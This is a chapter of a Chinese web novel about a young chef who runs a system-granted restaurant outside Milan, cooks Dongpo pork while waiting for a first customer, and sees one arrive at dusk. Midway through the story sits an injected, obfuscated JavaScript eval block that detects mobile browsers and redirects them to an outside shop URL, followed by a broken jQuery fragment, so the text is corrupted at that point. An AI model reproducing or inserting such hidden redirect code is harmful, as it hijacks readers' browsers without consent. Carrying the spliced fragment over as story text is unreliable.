叶西溪觉得自己一定是倒了八辈子的霉了,不然怎么解释她现在这副样子?
堂堂叶氏餐饮集团,国内知名连锁饭店的大小姐,此刻却站在米兰郊区,一个偏僻得连导航都不一定能找到的小餐馆里,对着一个嚣张到有些欠揍的系统面板发呆?
阳光透过大大的玻璃洒进来,把整个中式装修的餐馆照得暖洋洋的,让人不自觉地想坐在这沐浴在阳光之下,伸个懒腰。餐馆里木质的桌椅泛着温润的光泽,墙上挂着几幅水墨画,整个装修风格就透着一种舒适,让人放松下来的气氛。
说实话,这店面的装修完全踩在叶西溪的审美点上。每一处细节都透露着系统的用心,就算和她在国内看到过的高端私人中式餐馆比,也毫不逊色,甚至还要更妙。
只是……如果没有眼前这行不断闪烁的大字,她大概会心情很好地探索这家属于自己的餐馆。
可惜没有如果。
那行大字就像甩不掉的狗皮膏药一般,牢牢地贴在她的视野中央。
【请于今日内完成首次售卖任务,倒计时:10:23:45】
售卖任务?今日?
“我觉得我们可以谈谈。”
叶西溪找了个位置坐了下来,试图和系统商量商量:“你看啊,你这店面选址这么偏僻,周围连个鬼影都看不到,让我卖给谁?空气吗?”
系统面板纹丝不动,甚至连个标点符号都懒得回复她。
好高冷的一个统啊!你之前忽悠她绑定的时候可不是这样的!果然,得到了就不珍惜了!
叶西溪深吸一口气,告诉自己要保持冷静。她是一个人,不能跟一个没有感情,什么都不懂的破系统一般见识。
但是,深呼吸几口,她最终还是没绷住,咬牙切齿地点开任务详情,再次确认那个让她头皮发麻的惩罚内容。
【未完成惩罚:宿主不间断切土豆三小时】
就这一行字,叶西溪就已经能够感觉到自己的手开始隐隐作痛了。她下意识地活动了一下手腕,脑子里却不争气地想起那些年被叶建英同志支配的恐惧。
那是一段不堪回首的往事。
小时候,别人家的叛逆富二代在干嘛?
玩耍、追星、赛车……这些叶西溪都没有体验过:)
她从表明自己对厨艺感兴趣后,就坐在叶家老宅的院子里,面前堆着小山一样的土豆,一刀一刀地切丝,从早切到晚,连做梦都在切。切完了土豆切萝卜,切完了萝卜还有豆腐干。
叶建英同志美其名曰:“基本功很重要!”
是的,基本功确实很重要。现在,叶西溪的基本功没有一个老师不夸赞,但是代价就是她在厨房看到那些土豆,萝卜什么的就想绕道。
现在竟然想让她不间断地切三个小时。叶西溪耷拉着一张小猫批脸,给自己打气,“不就是卖一份菜吗?能有多难!”
难不成她堂堂叶氏的大小姐,还能被一个买卖难倒!
她重新振作起来,开始认真研究起这家从天而降的小餐馆。毕竟,做生意首先需要的就是对这些足够的了解。
说来也神奇,这个系统虽然有点嘴欠,但功能却齐全得让叶西溪少操心不少。
装修、食材、餐具处理、厨余回收,甚至连洗碗都只需要把碗放进特定的回收口就行,简直就是为她量身定做的。就是有一点让叶西溪特别不爽,它不提供任何关于经营餐馆和做菜的帮助。
也就是说,这个任务它没有任何帮助。
对此,系统有话要说:“我要是啥都能干,还需要绑定宿主干吗?”
说这话时,面板上还配了个欠揍的颜文字,可把叶西溪气得当场就要解除绑定,如果她能的话。:)
收回思绪,叶西溪重新把注意力集中到眼前的这个局面上。
现在是下午两点,距离今天结束还有不到十个小时。毕竟,她也不可能开到半夜吧?店面开在米兰远郊,甚至任务还有个奇葩规定:只接待“有名人士”。
要不是解除绑定还得还钱,叶西溪早就撂挑子不干了。
不过,堂堂叶大小姐难道连点钱都还不上吗?那当然能还了,但是前提是她没和家里闹翻啊!
这事说来也怪叶西溪自己。
她在米兰学了几年的餐饮管理,叶建英同志知道自家闺女的咸鱼性格,也就没打算把公司交给她,只打算给她一家饭店试试手。他盼星星盼月亮盼她回家。毕竟,就这么一个闺女,留学几年实在是想得不行。
结果,叶西溪却想在国外自己开个小餐馆,想开门就开门,不想开门就关门,过几天舒坦日子。两人在电话里大吵一架,叶建英同志气得吹胡子瞪眼,直接停了她所有的卡。
叶西溪也硬气,当场表示不用就不用,她有手有脚有厨艺还能饿死不成?然后,她就遇到了这个系统。
当时,系统说得天花乱坠:白送家小餐馆,宿主只需要专心做菜就行啦,没有任何附加条件哦亲~
叶西溪当时激动得手都在抖,脑子一抽,第一时间就给叶建英打了个电话,“爸!我不需要你的钱了,我自己开了家餐馆!”
叶建英同志的回答是直接挂断电话,并且不准家里的其他人偷偷接济她了。
再然后,系统的狐狸尾巴就露出来了。
“咕噜噜——”
肚子发出一声不争气的哀嚎,提醒她已经大半天没吃东西了。叶西溪揉了揉胃,决定先把自己喂饱再说。就算要流落街头,至少也要做个饱死鬼!
她随手打开系统里的【庄园】功能,眼前立刻展开一片3D模拟的农场和牧场,各种蔬菜瓜果长势喜人,远处的草地上还有牛羊悠闲地散着步。
这功能也是叶西溪当初一咬牙把身上还剩的钱充进去的原因,系统出品的食材品质实在是太逆天了,比米兰市面上的好了不知道多少个档次,而且价格也就是普通品质的价格,真正的物美价廉。
叶西溪熟练地从庄园里选了一块五花肉、几根小葱、一块姜,再配上黄酒、冰糖、酱油等调料。确认购买后,这些东西瞬间出现在系统的储存背包里,然后她再从厨房的储物柜里拿了出来,全过程不超过三秒。
“也就这点方便了。”叶西溪一边拆包装一边嘀咕着,但当她摸到那块五花肉时,所有的不满都暂时消散了。
肥瘦相间,层次分明,每层肥肉和瘦肉的厚度都恰到好处。这一定是从一只报恩的猪身上来的!
用手轻轻一按,能感受到肉质紧实,富有弹性。
这品质,就是叶家饭店的顶级供应商都拿不到。更别说意大利超市里的那些腥味重、肉质松散的猪肉了,这简直是降维打击。
食材好,菜就已经成功了一半。
叶西溪系上围裙,把头发随意扎成一个丸子头,露出白皙纤细的脖颈。她打开水龙头,冰凉的水流过指尖,带走最后一丝困意。厨房里的光线正好,落在她专注的侧脸上,让那双原本总带着几分慵懒的眼睛变得格外明亮。
她今天准备做的是东坡肉。
这道菜叶西溪从小吃到大,也从小做到大,也就是在意大利留学这几年做得少了。
五花肉在案板上铺开,叶西溪握着刀的手稳得不能再稳了。刀刃落下,不带一丝犹豫,每一刀都精准地落在它应在在的地方,切出来的肉块大小均匀,边角整齐,像是用工具切出来的一样。
这要让其他大厨知道一定得夸一句:不愧是叶家人!可惜现在餐馆里什么人都没有。
冷水下锅,肉块入水,叶西溪往锅里丢了几片姜,几段葱,又倒了些黄酒去腥。
对于这道菜来说,火候十分重要。火候大了可能会导致肉老了,火候太小可能导致油脂没出来,肉太油了。
所以叶西溪守在锅边,眼神专注,不时用漏勺撇去浮沫,动作如行云流水般顺畅,带着一种多年练就的从容。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645235|206777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
焯好水的肉块捞出来,用温水洗净表面的浮沫。每一块肉都微微收紧,肥肉部分变得半透明,在灯光下泛着光泽。
接下来是关键。
叶西溪从柜子里拿出一个土陶砂锅,锅身圆润,釉色温润,是她当年从国内背过来的“宝贝”,跟着她在米兰搬了好几次家,每次她到一个新地方最先检查的就是它。毕竟,这可是她吃饭的家伙!
砂锅底部铺上了一层切得薄薄的姜片,再铺上一层葱段,葱姜的香气在热锅的微微烘烤中慢慢散发出来。
肉块皮朝下,整整齐齐地码进砂锅里,一块挨着一块,严丝合缝但又互不挤压。黄酒沿着锅边淋下,酒香遇热腾起,醇厚的酒香瞬间充满整个厨房。接着是酱油,老抽调色,生抽提鲜,比例是叶家几代人反复试验出来的秘方,多一分则咸,少一分则淡。最后撒上一把冰糖,盖上锅盖。
灶火调到最小,蓝色的火焰安静地在锅底跳动着,砂锅里的汤汁开始咕噜咕噜地冒泡,声音从沉闷变得越来越柔和。
接下来就是等待了。
叶西溪靠在厨房上的门框上,看着灶台上微微冒着热气的砂锅,忽然有点想叶建英同志了,小时候他也是这样守着灶台的。
抬头看了看时间,叶西溪自言自语,又似乎是在说给什么听的。
“等东坡肉好了以后,太阳都快下山了,这地方这么偏,真的会有人来吗?”
但是,那什么完全油盐不进啊!连个提示音都懒得发出。
叶西溪叹了口气,走到餐厅,透过玻璃看向外面的世界。
米兰的秋天总是特别的好看,天空是一种透亮的蓝色,像是被水刚洗过一样。空气里飘着泥土和鲜花混合的味道,街道上偶尔有车经过,但很快就消失在视野尽头。
这地方是真的偏僻,偏僻到叶西溪觉得在这里开餐馆简直是行为艺术。
但话又说回来了,系统既然敢在这里开店,还设定了只接待“有名人士”的规则,说明它一定有道理!
有道理个头啊!
“唉~”叶西溪不由自主地叹了口气,在翻动着系统各个页面。然后手指轻点了下“有名人士”。
她打量着这家餐馆,既然有这个规定,说明它肯定有某种筛选顾客的机制,否则进来一个人,叶西溪怎么判断他到底是不是“有名人士”呢!
她又不是认识所有的人!再说了,这可是意大利,谁知道各个领域的名人啊!
但是,到现在为止,她还没见过任何一个符合这个规则的人走进这扇门。
时间一分一秒地过去,砂锅里飘出的香味越来越浓。那股香气先是似有若无,只在厨房里飘荡着,后来渐渐变得浓郁,从厨房里钻了出来,弥漫在整个餐馆里。空气中各种独特的香气交织在一起。
叶西溪深深地吸了一口气,脸上露出满意的神情。就凭这个味道,她就知道这锅东坡肉已经成功了百分之九十。剩下的百分之十,只需要时间来完成最后的收尾工作。
天色渐渐暗了下来,餐馆里的光线变得柔和起来。叶西溪没有开灯,就这么坐在窗边,看着日头一点点地沉下去,天边的云彩被染成了橘红色。
还有一段时间,砂锅里的东坡肉就该出锅了。
就在她百无聊赖地数着秒针时,门口忽然传来一阵轻微的脚步声。那脚步声一轻一重,就仿佛其中一只脚有伤。
叶西溪猛地从椅子上弹起来,眼睛直勾勾地看向门口。
门被推开了,来人带着一顶帽子,帽檐微微下压,遮住了大半张脸,只露出一个线条分明的下巴。他穿着深色的T恤,身形修长挺拔。
“Buongiorno。”男人的声音低沉而富有磁性,意大利语带着一丝不易察觉的口音,“现在营业吗?”
叶西溪愣在了原地,脑子里只有一个念头在疯狂刷屏。
来人了,真的来人了!她不用切土豆了!